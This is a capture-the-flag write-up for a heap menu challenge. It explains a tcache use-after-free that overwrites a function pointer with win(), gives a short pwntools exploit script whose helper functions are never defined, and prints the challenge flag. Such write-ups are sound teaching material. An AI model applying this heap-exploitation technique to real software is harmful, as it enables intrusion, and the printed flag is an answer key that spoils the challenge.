Mania

Challenge

A heap menu challenge (allocate / free / use) with a hidden win() function.

Approach

1. Allocate a chunk, free it (returns to tcache), then “use” the freed chunk — UAF.
2. The freed chunk’s fd pointer in tcache overlaps with a function pointer field in the struct.
3. Write the address of win() over the fd slot via the UAF write primitive.
4. Trigger the function pointer call through the menu.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

from pwn import *
p = process("./mania")
WIN = 0x401234  # from readelf -s

alloc(p, 0, 64, b"A"*8)
free(p, 0)
# UAF: write win() addr into fd slot
use(p, 0, p64(WIN))
# trigger
call_func(p, 0)
p.interactive()

Flag

boroCTF{hYp0M&nic_3xplO1taTio4}